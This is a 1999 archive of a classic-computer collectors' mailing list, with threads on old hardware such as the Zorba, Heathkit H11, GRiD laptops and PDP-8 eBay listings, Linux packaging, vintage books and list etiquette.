actually they had two models. The Zorba and the Nomis. The Nomis (Simon spelled backwards) was just a 98tpi Zorba. They had a third model designed (kind of like the Osborne Executive) which had user loadable terminal emulation as well as floppy emulation, but it never got out. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From Hans.Franke at mch20.sbs.de Wed Jan 20 09:29:54 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:20 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <36A572E3.23129172@cnct.com> Message-ID: <199901201430.OAA09756@nixpbe.pdb.sni.de> > Don't tell me about fixing the binary -- doing tech support for Tandy > I did binary patches regularly, there were areas left unused in the > TRSDOS (_all_ TRSDOSs on _all_ models -- actually also in most > application binaries as well) so that a patch jumped to the former > empty space, executed the repaired instructions, jumped back to > continue past the break. They did that from day one, apparently they > realized that software can have problems that show up after the product > ships (and it was expensive to ship everybody a new disk in those days, > the price of media was high then). Xenix and OS-9 fixes requirered > recompiles, so patches for those showed up on disk to replace modules > or programs. Some OSes have a build in patch support support at different level. Maybe to run one time patches, that is you start a patch utility, to install (developer delivered) patches, or other even offer a patchservice that is startet every time a module, or application is loaded. this will look in a OS database for fiting patches and apply them before start the programm. > RPM has the ability to cover most of the details in the complaint, > it's a powerful programming system on its own. But with the constant > and rapid evolution of the various distributions, it's impossible to > build a package before things move around or switch versions somewhere > else. If Linux would _hold still for a minute_ RPM would keep up. Of > course, that's not a problem with a monolithic single-vendor OS like > Windoze, since MS issues patches during beta test less often than the > folks in Fort Worth did after everything was stable and shipping. Thats it. But in a Linux world, distributions, especialy the big and fat ones (like SuSE) take the role of the OS vendor. But now in a dezentralized manner rather than beeing the single source. You will get the full developed easy usage like Windows only within a distribuition, and toward this distribution orientated packages, but ionstead of building up a propritary environment (like Windows, Mac, Be, OS/2, etc.) with only a slow and weak influence, they will interchange new developments or formats _very_ fast ("breed like a rabbit"). Just remember how fast RPM has been adopted by other than Red Hat (after it reached a certain level of usability). Since the 'fat' distributions offer a gigantic number of already configured packages (for their environment) and most user applications don't need changes within system configuration files, from an end users view the gap to Windows (et al) will close - at least (and now we are back to my first statement) in the x86 Linux, where you can get all apps in binary packages - BUT I still doubt that on other processors (than the x86) this goal will reach - Just take a look at the RedHat Alpha distribution - althrough simmilar to the x86 version, the amount of offered ready to run packages is smaller. And after all, this will be simmilar for the Merced. > (I'd mentioned a while back > that my Samba server had rebooted four times in three years due to > power failures, it's now five, we had an outage this past Friday). Hey, where you are livin ? FIVE times power down in just 3 years ? Gee - you should shorten the payment - I had one within the last 12 years (My mother had none within this time). Servus Hans -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Wed Jan 20 09:29:53 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:20 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: References: <199901191815.SAA12200@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 19, 99 07:13:49 pm Message-ID: <199901201430.OAA09759@nixpbe.pdb.sni.de> > > > How would an enduser tell the difference between a Windows installation > > > program that copies files to the right places and modifies some > > > configuration files, and a linux one that copies some files to the right > > > places, modifies some configuration files and runs make to build the > > > binaries from the C source. It doesn't require _any_ more knowledge. > > If the installation does this all for me, without any problems > > (like different header files, unimportent, but ill behavied defines > > or a different compiler version - not to mention different libc's) > So what you're really complaining about is poorly done source kits. OK, I > can agree there. But perhaps I've been lucky as a lot of things just > build with no problems... _I_ had never substantal problems, but a lot of times some minor tasks (like described below) had to be done - and finding and creating a missing directory isn't every end users thing (especialy the decision what to create, if there is no error message and you have to look inside the RPM and Make scripts. > > _and_ without any unnecersary interacion (like start the package manager, > > change directory, change environment settings, change script files, > > start 3 make runs, change /stc/* setings, etc.), I'm completly fine > > with that, but in fact, I never had the luck - I _can't_ remember > > any situation where I installed a source level package in an unix > Point is, if the source is that badly behaved, then the binary probably > is as well (depends on a particular version of libc, requires > files in specific places, etc). And more people can fix the source than > fix the binary. :))) Shure, but even these 'more' people are 'less'. An end user can't fix it - accept it, there is less than one of us for 10.000 users, and if Unix shall succeede it has to reach them not us - we can handle all the stuff (or at least I hope we can). And my original comment is still true - Unix is only partly acceptable as x86 Linux, and I doubt that a Merced kernal and lots of sources will have more success than all the other unixes thru the last 20 years (with a notable exception of x86 Linux). Gruss H. -- Ich denke, also bin ich, also gut HRK From william at ans.net Wed Jan 20 08:31:22 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:20 2005 Subject: Disasters and Recovery In-Reply-To: <36A3ACA0.2FD48AD6@cnct.com> Message-ID: > > What makes some of today's technology fragile is simply the density, or > > equivalenty, the lack of redundancy in a given area. Take a look at the specification for how CDs are formatted. You may be suprised to find out that a good chunck (more than just a few percent) is dedicated to error correction! That is why you do not hear all of the scratches in poorly handled CDs. William Donzelli william@ans.net From william at ans.net Wed Jan 20 08:33:48 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:20 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: Message-ID: > > And I am not too sure that the stones are necessarily in the original > > positions. Some years back, while sipping an ale in a pub in Salisbury, > > I was chatting with a native who told me that during WWII the stones had > > been laid flat since they were too good a landmark for the Luftwaffe and > > only re-erected after the war. True? Don't know, but it makes some > > sense. Sounds like a tall tale. The Germans used electronic means to guide their bombers, not visual. William Donzelli william@ans.net From Hans.Franke at mch20.sbs.de Wed Jan 20 09:45:09 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:20 2005 Subject: Bubble memory In-Reply-To: References: Message-ID: <199901201446.OAA10041@nixpbe.pdb.sni.de> > Speaking of Bubble memory has anyone ever run across an Apple ][ bubble > memory card? Nop, I had only one for the SIEMENS PC 16-07 - a very early DOS laptop (16x80 char display :) with slots for 128 KB cardridges. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Wed Jan 20 09:45:09 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:20 2005 Subject: Baa-aa-aad jokes... In-Reply-To: <3.0.1.32.19990119142104.009312d0@mail.30below.com> References: Message-ID: <199901201446.OAA10038@nixpbe.pdb.sni.de> > > > But where can you find a drive that can read a sheep? > > You mean you've not come across baa-code readers :-) > I have...but didn't have enough RAM to use it! ;-) Never drive a RAM - to dangerous. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Wed Jan 20 09:45:09 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:20 2005 Subject: Infocom InvisiClues In-Reply-To: <199901191848.KAA09632@oa.ptloma.edu> Message-ID: <199901201446.OAA10044@nixpbe.pdb.sni.de> > Well, I landed a cache of old games (including Zork II for the DEC Rainbow > but the disk appears to be missing). One of them is Witness for DOS 2.0, and > it even has the InvisiClues book -- but I don't have the marker! Does anyone > have a spare InvisiClues marker somewhere they're not using or one they might > be {willing, persuaded} to part with? AFAIR they can also be read well when using a _bright_ 'warm' (yellowish) light, since the printed surface is different from the unprinted - or use a blue (UV) lamp, like available for bank note checking - here the sourounding light schould be not to bright. Also a damp/steamy athmosphere can reveal the content. In versions you can avoide to change the book. Gruss H. -- Ich denke, also bin ich, also gut HRK From william at ans.net Wed Jan 20 08:52:21 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:20 2005 Subject: Early Data Sheets In-Reply-To: Message-ID: > What do you mean 'early days'? I have some old (1970's) TTL data books, > the 1977 Intel databook, one of the very early TTL designer's manuals, > 1960 Ericson valve databook (full of counter tubes, etc), etc, etc, etc. I think I have a bunch of 1960s Motorola MECL books somewhere (with the move so many things have been "lost", probably to be found in a year or two!). When I find the duplicates, maybe I will offer them to the list. Anyway, the point of this is that I find it interesting to see just what 1960s era ICs could do - or really, how much they sucked! William Donzelli william@ans.net From steverob at hotoffice.com Wed Jan 20 08:51:20 1999 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:40:20 2005 Subject: Prime parts Message-ID: <01BE445A.6EDE9960.steverob@hotoffice.com> Group, I'm trying to resurrect a PRIME 2450. If anyone has spares or knows where to get them, I'd sure appreciate it. Thanks, Steve Robertson From Hans.Franke at mch20.sbs.de Wed Jan 20 09:52:37 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:20 2005 Subject: C1P (was: more auction silliness...) In-Reply-To: <001b01be43df$19ef1720$bb88e9cf@yamato.chipware.com> References: <199901191840.SAA12678@nixpbe.pdb.sni.de> Message-ID: <199901201453.OAA10148@nixpbe.pdb.sni.de> > > > Well, I see my Ohio Scientific collection is going to > > > start increasing in value... A C-1P for $405 US!?!? > > Well, I could also imagine to pay for a C1P in case and > > good condition 100 USD and up ... > > > I'M RICH! I'M RICH! I'M FABULOUSLY WEALTHY! > > > (Doing my best Daffy Duck impression) > > > > Have you seen that only models that have a crack in the > > main PCB are this worth ? > > <..> > Are you saying that the one on ebay had a cracked mainboard? Shure look ... <...> Gruss H. -- Ich denke, also bin ich, also gut HRK From mbg at world.std.com Wed Jan 20 09:34:15 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:20 2005 Subject: Heathkit H11 (was Re: Unibus boards for trade Message-ID: <199901201534.AA00332@world.std.com> >I'd like to configure a Heathkit H11 as a *small* PDP-11 with just CPU >(M7270 LSI-11/02), terminal, and paper tape. I have no cards for it now, >but I've got the M7270 on order. It works just fine... I configured my H11 box with an 11/53+ (KDJ11-D) processor. >Which cards do I need for RAM, serial, and parallel I/O? I know nothing >about DEC buses. Do I need a bus terminator or anything else? Also, I >recall that something about the H11 wasn't DEC compatible, but I don't >remember what it was.... I suggest you get an MXV11-B board. This has some memory, two serial lines and the boot code all on board. Then you'll need some sort of disk interface, like RQDX3 (and a couple of disks). You'll need to find a leprechaun box (external desk-top mounting box for RD series disks, the kind which go with the RQDX3). Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From Hans.Franke at mch20.sbs.de Wed Jan 20 10:36:03 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:20 2005 Subject: GRID LAPTOP In-Reply-To: References: <3.0.16.19990119145248.2a7f1538@ricochet.net> Message-ID: <199901201537.PAA11093@nixpbe.pdb.sni.de> > > The one that was used on the shuttle (I don't think the shuttle ever landed > > on the moon?) was (iirc) the GRiDPad 19xx, see my other message about those. > No, the shuttle never landed on the moon. (At least not that THEY've told > us about :-) Various shuttle missions have used the Compass, the 1910, > and the 1530. They have - I have seen in more than one movie a shuttle on the moon, and neither Hollywood nor my TV would lie (There is a nice B (?) picture, some kind of Dracula/Alien/Bermuda Triangle mxture, where they use Shuttles for moon missions, and from the inside they are bigger than the Nostromo ...). > In fact, NASA orignally funded GRiD to build the Compass just for this > purpose, AFAIK. GRiD stood for Graphical Retreival Information Display or > somesuch terribly strained acronym. Didn't know about that until now - I thought they where done as som high class luxury toys (liek mountain boots for the office:) Gruss H. -- Ich denke, also bin ich, also gut HRK From Marty at itgonline.com Wed Jan 20 10:11:12 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:40:20 2005 Subject: GRID LAPTOP Message-ID: <1999Jan20.110747.1767.182975@smtp.itgonline.com> ______________________________ Reply Separator _________________________________ Subject: Re: GRID LAPTOP Author: classiccmp@u.washington.edu at internet Date: 1/20/99 10:40 AM > > The one that was used on the shuttle (I don't think the shuttle ever landed > > on the moon?) was (iirc) the GRiDPad 19xx, see my other message about those. > No, the shuttle never landed on the moon. (At least not that THEY've told > us about :-) Various shuttle missions have used the Compass, the 1910, > and the 1530. >>They have - I have seen in more than one movie a shuttle on >>the moon, and neither Hollywood nor my TV would lie (There is >>a nice >>B (?) picture, some kind of Dracula/Alien/Bermuda Triangle >>mxture, where they use Shuttles for moon missions, and from the >>inside they are bigger than the Nostromo ...). Thanks. At first I felt completely and totally foolish after stating the 'gent' told me the Grid had been to the moon. Now I feel vindicated. Hooray for Hollywood! Marty > In fact, NASA orignally funded GRiD to build the Compass just for this > purpose, AFAIK. GRiD stood for Graphical Retreival Information Display or > somesuch terribly strained acronym. Didn't know about that until now - I thought they where done as som high class luxury toys (liek mountain boots for the office:) Gruss H. -- Ich denke, also bin ich, also gut HRK ------ Message Header Follows ------ Received: from lists4.u.washington.edu by smtp.itgonline.com (PostalUnion/SMTP(tm) v2.1.9i(b5) for Windows NT(tm)) id AA-1999Jan20.104036.1767.93940; Wed, 20 Jan 1999 10:40:36 -0500 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA27710; Wed, 20 Jan 1999 07:37:34 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA2 1826 for ; Wed, 20 Jan 1999 07:37:22 -0800 Received: from nixpbe.pdb.sni.de (nixpbe.pdb.sni.de [192.109.2.33]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA23 866 for ; Wed, 20 Jan 1999 07:37:13 -0800 (PST) Received: from M23769PP (m23769pp.mch.sbs.de [139.25.241.35]) by nixpbe.pdb.sni.de (8.8.8/8.8.8) with SMTP id PAA11093 for ; Wed, 20 Jan 1999 15:37:02 GMT Message-Id: <199901201537.PAA11093@nixpbe.pdb.sni.de> Date: Wed, 20 Jan 1999 16:37:03 +1 Reply-To: classiccmp@u.washington.edu Sender: CLASSICCMP-owner@u.washington.edu Precedence: bulk From: "Hans Franke" To: "Discussion re-collecting of classic computers" Subject: Re: GRID LAPTOP In-Reply-To: References: <3.0.16.19990119145248.2a7f1538@ricochet.net> X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN From Hans.Franke at mch20.sbs.de Wed Jan 20 11:08:35 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:20 2005 Subject: Linux vs FreeBSD In-Reply-To: References: <19990117035913.15332.qmail@brouhaha.com> from "Eric Smith" at Jan 17, 99 03:59:13 am Message-ID: <199901201609.QAA11576@nixpbe.pdb.sni.de> > > > It's even more fun to know it at the gate level, or at least at the IC > > > pin level. > > Life isn't long enough to understand a Pentium-class processor at the gate > > level. At least, not long enough to do that and other fun things as well. > Understanding a Pentium probably isn't fun, but understanding other CPUs > to gate level is about the most fun thing I can think of... > I guess I'll stick to PERQs, PDP8's, PDP11's, etc. Those are simple > enough for mortals like me to understand completely... I'm still hoping to get a gate level drawin/description of a 6502. > > Of course, not having enough time to fully understand it is no excuse for > > not *wanting* the gate-level drawings. But you're not going to get those > > out of either Intel or AMD. > No, alas.... > Still, even understanding what all the chips in the PC do, and what > signals to expect at every pin, is nice. Probably not so useful on a > modern machine with a few big chips and not much else, but on this > machine, with a considerable number of TTL devices, it's worth doing. Even this modern big chips are a lot of fun to learn about - and it even has practical meaning - if you want to overclock your system (Since my 486-50 I tried to overclock all my PCs - the actual K6-366 is running at 417 MHz right now), you need these data sheeds/handbooks do develop a strategy beyond just jumpering a higher bus clock and/or change BIOS setings - from the memory control alone you can sometimes gain more power than from overclocking the CPU (Tweak Bios offers a lot of this now for everyone with a minimunm of technical knowledge without reading the manuals - but thats less fun :). Also if you look in deep, these chip(set)s are not as x86 dependant as one might assume - depending of the CPU you want to use sometimes one or two small PAL could be enough to use them - and PCI bus, memory controler, ISA bridges, or ser/par I/O keyboard and mouse are things you might need on any system. In fact, the Milan uses a PC chipset with it's 68040 CPU. I like to think (read: dream) of building an actual usable 'PC' with different (unusual) CPUs - What about a 65816 (with 32 Bit data bus) using a 486 chipset ... etc - or a design for a PC with exchangable CPUs ... just for playing around. Gruss H. -- Ich denke, also bin ich, also gut HRK From Philip.Belben at pgen.com Wed Jan 20 07:36:22 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:20 2005 Subject: OT Re: Reading age of 3 (was: Re: Computers for children) Message-ID: <802566FF.004FB457.00@WESTD90.pgen.co.uk> > [1] If you read to your kids every day, spend your non-working time taking > them to museums, plays, camping, etc., work with them on what they're > interested in, even if it means giving up watching football, spending time > with your friends, and so on, then this doesn't apply to you. No kids of my own yet. But my experience of kids these days is that "work with them on what they're interested in" means that I'd have to _start_ watching football. And I find it hard to think of any activity more boring. But by and large I agree with you. Just don't forget what you keep telling us - your girlfriend is not a typical teacher, she is an example to the profession. Teaching usually pays peanuts, and the profession therefore has more than its fair share of monkeys. If we can get both good teachers _and_ good parents, even the less bright kids will go far... Philip. From steverob at hotoffice.com Wed Jan 20 10:15:57 1999 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:40:20 2005 Subject: PDP-8 on e-bay Message-ID: <01BE4466.41740CB0.steverob@hotoffice.com> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=58405239 Don't know what the reserve is. The same guy also has a SOL and a Rainbow for sale. Regards, Steve Robertson - QA Team Leader HotOffice Technologies, Inc. Phone: +1.561.995.0005 x228 Fax: +1.561.995.5990 HotOffice - The World's First Online Virtual Office Service From healyzh at aracnet.com Wed Jan 20 10:31:53 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:20 2005 Subject: picked up PDP11/23 In-Reply-To: <000001be446e$2d7e5d20$94f438cb@a.davie> from "Andrew Davie" at Jan 20, 99 11:12:41 pm Message-ID: <199901201631.IAA28011@shell2.aracnet.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1056 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/d2359113/attachment.ksh From joe at barrera.org Wed Jan 20 10:53:59 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:20 2005 Subject: PDP-8 on e-bay Message-ID: <00e601be4495$7a886e90$11d53d9d@JOEBAR> > Subject: PDP-8 on e-bay >Don't know what the reserve is. The same guy also has a SOL and a Rainbow for sale. I just found out... $900. :-) I actually work just down the hall from Gordon Bell... if he can't help me get it working, then probably no one can... :-) - Joe ----- Original Message ----- From: Steve Robertson To: Discussion re-collecting of classic computers Sent: Wednesday, January 20, 1999 8:15 AM Subject: PDP-8 on e-bay >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=58405239 > >Don't know what the reserve is. The same guy also has a SOL and a Rainbow for sale. > >Regards, > >Steve Robertson - QA Team Leader >HotOffice Technologies, Inc. >Phone: +1.561.995.0005 x228 Fax: +1.561.995.5990 > >HotOffice - The World's First Online Virtual Office Service > > From marvin at rain.org Wed Jan 20 11:04:43 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:20 2005 Subject: PDP-8 on e-bay References: <00e601be4495$7a886e90$11d53d9d@JOEBAR> Message-ID: <36A60CAB.51E1626D@rain.org> Joseph S. Barrera III wrote: > > > Subject: PDP-8 on e-bay > >Don't know what the reserve is. The same guy also has a SOL and a Rainbow > for sale. > > I just found out... $900. :-) > > I actually work just down the hall from Gordon Bell... if he can't help me > get it working, then probably no one can... :-) Just out of curiosity, while the description says PDP-8, is it *really* a straight "8" or did the seller forget to add on any important little suffixes? Seems like that would make quite a difference in the price of the unit. From healyzh at aracnet.com Wed Jan 20 11:25:04 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:20 2005 Subject: PDP-8 on e-bay In-Reply-To: <36A60CAB.51E1626D@rain.org> from "Marvin" at Jan 20, 99 09:04:43 am Message-ID: <199901201725.JAA31455@shell2.aracnet.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 859 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/27fcae67/attachment.ksh From dogas at leading.net Wed Jan 20 11:19:49 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:20 2005 Subject: Baa-aa-aad jokes... Message-ID: <01be4499$15c6fcc0$eac962cf@devlaptop> That shear is a turn for the worse.... ;) - Mike:dogas@leading.net -----Original Message----- From: Hans Franke To: Discussion re-collecting of classic computers Date: Wednesday, January 20, 1999 10:17 AM Subject: Re: Baa-aa-aad jokes... >> > > But where can you find a drive that can read a sheep? >> > You mean you've not come across baa-code readers :-) >> I have...but didn't have enough RAM to use it! ;-) > >Never drive a RAM - to dangerous. > >Gruss >H. > >-- >Ich denke, also bin ich, also gut >HRK > From Philip.Belben at PowerTech.co.uk Wed Jan 20 11:44:28 1999 From: Philip.Belben at PowerTech.co.uk (Philip.Belben@PowerTech.co.uk) Date: Sun Feb 27 18:40:20 2005 Subject: More Books Message-ID: <802566FF.005FCB7E.00@PTECHNOTES02.PowerTech.co.uk> I have been back to the library and grabbed some more books. Again, I will send to anyone who has a real need/desire for cost of shipping. People who are already getting books may wish to add some of these to their order... BTW I'd never heard of CORAL or PARLOG before. Anyone with experience want to comment? List: Ichbiah JD, "Reference Manual for the ADA Programming Language" ANSI/MIL-STD-1815 A, 1983 Dawes J, "The Professional Programmers Guide to ADA", Pitman, 1988 Barnes JGP "Programming in ADA", Addison-Wesley, 1982, 3rd edn 1989. Winters J, "Power Programming with ADA for the IBM PC", TAB 1987 Saxon JA, "COBOL - a Self-Instructional Manual" Prentice-Hall, 1963 McCracken DD, "A Guide to COBOL Programming", Wiley, 1963 Conlon T, "Programming in PARLOG", Addison-Wesley 1989 Grey LD, "A Course in APL with Applications", Addison-Wesley 1973, 2nd edn 1976 Webb JT, "CORAL 66 Programming", NCC, 1978 Conway R, Gries D, Fay M and Bass C, "Introduction to Microprocessor Programming using PL/Z" Winthrop, 1979 Marquette JF and Du Fala MM, "ADEPT User's Manual", Univ. of Akron, 1979 Trio JM, "8086-8088 Architecture and Programming", Macmillan, 1984 Royer JP, "Handbook of Software & Hardware Interfacing for IBM PCs", Prentice-Hall 1987 Cuellar G "Graphics Made Easy for the IBM PC and XT", Reston 1984 Donahue CS and Enger JK, "PET/CBM Personal Computer Guide", Commodore/McGraw-Hill 1980 Disclaimer: I have just typed in info from flyleaves. No warranty blah blah. If no-one wants the books, I am happy to keep any/all for myself, or give them to charity shops, or something. Philip. From joe at barrera.org Wed Jan 20 11:53:03 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:20 2005 Subject: PDP-8 on e-bay Message-ID: <01ce01be449d$bae24da0$11d53d9d@JOEBAR> >Just out of curiosity, while the description says PDP-8, is it *really* a >straight "8" or did the seller forget to add on any important little >suffixes? Seems like that would make quite a difference in the price of the >unit. Good question... I've pointed him at a web site with PDP-8 pictures (Paul Pierce's) and asked him to identify the suspect. I've received at least one email asking whether I'm crazy. Well, clinically, yes. :-) But beyond that, I was severely traumatized as a child (well, in high school) and I'm still recovering. I spent most of my morning recesses (and many lunches) of my sophmore and junior years programming an IMSAI 8080 system, with North Star BASIC and floppy drive, Tarbell tape monitor, and a teletype for a printer. Then when I returned from Summer vacation my senior year, I found the IMSAI disappeared, replaced with (IIRC) an Altos MP/M machine. I was heartbroken. So now that I'm a grown-up and have a real job and some money to spend, I spend some of it on old computers. Perhaps I'm crazy. But not nearly as crazy, in my opinion, as people that buy mass-produced luxury cars for many tens of thousands of dollars... - Joe PS. Paul, are you on this list? From joe at barrera.org Wed Jan 20 11:59:44 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:20 2005 Subject: More Books Message-ID: <01d901be449e$a9bfe680$11d53d9d@JOEBAR> >BTW I'd never heard of CORAL or PARLOG before. Anyone with experience want >to comment? http://www.realtime-info.be/encyc/techno/terms/99/19.htm http://www.realtime-info.be/encyc/techno/terms/6/68.htm CORAL 66: A real-time system programming language derived from JOVIAL and ALGOL 60. It was adopted as the British military standard from 1970 until the arrival of Ada. Parlog: An AND-parallel Prolog, with guards and committed choice nondeterminism (don't care nondeterminism). Shallow backtracking only. From dogas at leading.net Wed Jan 20 12:04:11 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:20 2005 Subject: PDP-8 on e-bay Message-ID: <01be449f$485d1060$eac962cf@devlaptop> Ok, maybe its just me. I'm a conniving, sniviling, wheez who would probably step on my own mother to get at a cool computer (on my good days) and I spend alot of time raking though the ebayish trash to come across something tastey in a dark passed over corner of the sale. And just when you think you got a line on something, some damn smaraitan decides to post a billboard.... (no offense) I certainly don't mind those posts when they fall into the context of a discussion somewhat beyond 'Hey, everyone look...' I can understand publishing/reflecting a sale post that didn't come from public arena like ebay but I think anyone interested is capable of investing their own time searching for the things they want to aquire from that venue. Thanks, sorry - Mike: dogas@leading.net From joe at barrera.org Wed Jan 20 12:29:37 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:20 2005 Subject: PDP-8 on e-bay Message-ID: <020001be44a2$d66c8720$11d53d9d@JOEBAR> > >Ok, maybe its just me. I'm a conniving, sniviling, wheez who would probably >step on my own mother to get at a cool computer (on my good days) and I >spend alot of time raking though the ebayish trash to come across something >tastey in a dark passed over corner of the sale. And just when you think >you got a line on something, some damn smaraitan decides to post a >billboard.... (no offense) > I completely understand... but you have to admit, "PDP" is not a very obscure search string (it's among the ones I usally check every day anyway). So chances are pretty small that the PDP-8 (if that's really what it is) would have gone totally unnoticed. Now, finding something listed only under "DEC" is another story, given how many false positives it turns up (playboys, national geographics, etc.) - Joe (fellow conniving wheez) From cmcmanis at freegate.com Wed Jan 20 13:18:52 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:20 2005 Subject: PDP-8 on e-bay In-Reply-To: <36A60CAB.51E1626D@rain.org> References: <00e601be4495$7a886e90$11d53d9d@JOEBAR> Message-ID: <4.1.19990120111808.009276e0@mailhost.hq.freegate.com> My guess is that it is a Lab 8. Which is IIRC a PDP 8/f in a rack with various analog modules etc. --Chuck From marvin at rain.org Wed Jan 20 13:34:31 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:20 2005 Subject: Ebay notices, was re: PDP-8 on e-bay References: <01be449f$485d1060$eac962cf@devlaptop> Message-ID: <36A62FC7.37EEDD5B@rain.org> Mike wrote: > > > Ok, maybe its just me. I'm a conniving, sniviling, wheez who would probably > step on my own mother to get at a cool computer (on my good days) and I > spend alot of time raking though the ebayish trash to come across something > tastey in a dark passed over corner of the sale. And just when you think > you got a line on something, some damn smaraitan decides to post a > billboard.... (no offense) > Well as you might have guessed, I totally disagree with that viewpoint. When I notice someone from the list bidding, I generally have passed on putting it up here. ***BUT*** I have also seen a number of instances where a given listmember was not willing to bid at the prices the items were going for, and perhaps another listmember would have been willing to bid higher. Cases like that are changing my mind as to letting listmembers know when I find something *I* think is interesting. The reasons for collecting have been already discussed on this list a number of times, but it is worthwhile trying to remember that for most of us, this is a HOBBY done because we enjoy it. From dastar at ncal.verio.com Wed Jan 20 13:41:42 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:20 2005 Subject: Ebay notices, was re: PDP-8 on e-bay In-Reply-To: <36A62FC7.37EEDD5B@rain.org> Message-ID: On Wed, 20 Jan 1999, Marvin wrote: > Mike wrote: > > > > > > Ok, maybe its just me. I'm a conniving, sniviling, wheez who would probably > > step on my own mother to get at a cool computer (on my good days) and I > > spend alot of time raking though the ebayish trash to come across something > > tastey in a dark passed over corner of the sale. And just when you think > > you got a line on something, some damn smaraitan decides to post a > > billboard.... (no offense) > > > > Well as you might have guessed, I totally disagree with that viewpoint. > When I notice someone from the list bidding, I generally have passed on > putting it up here. ***BUT*** I have also seen a number of instances where > a given listmember was not willing to bid at the prices the items were going > for, and perhaps another listmember would have been willing to bid higher. > Cases like that are changing my mind as to letting listmembers know when I > find something *I* think is interesting. > > The reasons for collecting have been already discussed on this list a number > of times, but it is worthwhile trying to remember that for most of us, this > is a HOBBY done because we enjoy it. And of course if one spent one's time doing their homework and searching the internet in places OTHER THAN ebay one would eventually turn up the computers one wants at a price that would make the effort well worth it! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From eric at brouhaha.com Wed Jan 20 13:48:49 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:20 2005 Subject: Linux vs FreeBSD In-Reply-To: <199901201609.QAA11576@nixpbe.pdb.sni.de> (Hans.Franke@mch20.sbs.de) References: <19990117035913.15332.qmail@brouhaha.com> from "Eric Smith" at Jan 17, 99 03:59:13 am <199901201609.QAA11576@nixpbe.pdb.sni.de> Message-ID: <19990120194849.18065.qmail@brouhaha.com> > What about a 65816 (with 32 Bit data bus) > using a 486 chipset No, the 65816 only has a 16-bit data bus. There was talk about a 32-bit version, but that's all it was, talk. From doug at blinkenlights.com Wed Jan 20 13:49:36 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:20 2005 Subject: Ebay notices, was re: PDP-8 on e-bay In-Reply-To: <36A62FC7.37EEDD5B@rain.org> Message-ID: On Wed, 20 Jan 1999, Marvin wrote: > The reasons for collecting have been already discussed on this list a > number of times, but it is worthwhile trying to remember that for most > of us, this 